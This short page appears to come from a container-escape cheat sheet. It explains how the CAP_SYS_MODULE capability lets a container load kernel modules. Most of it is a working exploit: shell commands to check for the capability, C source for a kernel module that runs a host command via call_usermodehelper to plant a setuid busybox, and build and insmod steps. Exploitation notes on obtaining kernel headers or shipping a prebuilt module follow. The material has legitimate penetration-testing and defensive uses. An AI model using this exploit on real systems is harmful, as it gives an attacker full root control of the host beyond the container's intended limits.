CAP_SYS_MODULE lets the container load kernel modules. A module runs in the host kernel, so loading an attacker-built one is immediate, total host compromise.
capsh --print | grep -q cap_sys_module && echo have
# Build a tiny module whose init runs a usermode helper on the host
cat > esc.c <<'C'
#include <linux/module.h>
#include <linux/kmod.h>
static int __init e(void){ char *a[]={"/bin/sh","-c","cp /bin/busybox /host_marker; chmod +s /host_marker",NULL};
char *env[]={"PATH=/sbin:/bin",NULL}; call_usermodehelper(a[0],a,env,UMH_WAIT_EXEC); return 0;}
static void __exit x(void){} module_init(e); module_exit(x); MODULE_LICENSE("GPL");
C
echo 'obj-m := esc.o' > Kbuild
make -C /lib/modules/$(uname -r)/build M=$PWD modules && insmod esc.ko
Exploitation notes#
- The module's init function runs in ring 0;
call_usermodehelperspawns a host process, which is the simplest payload. - Building needs kernel headers matching the host; where they are absent, cross-compile against the host version or ship a prebuilt
.ko. - This is one of the cleanest single-capability escapes: no mounts, no namespaces, no host-visible-path trick.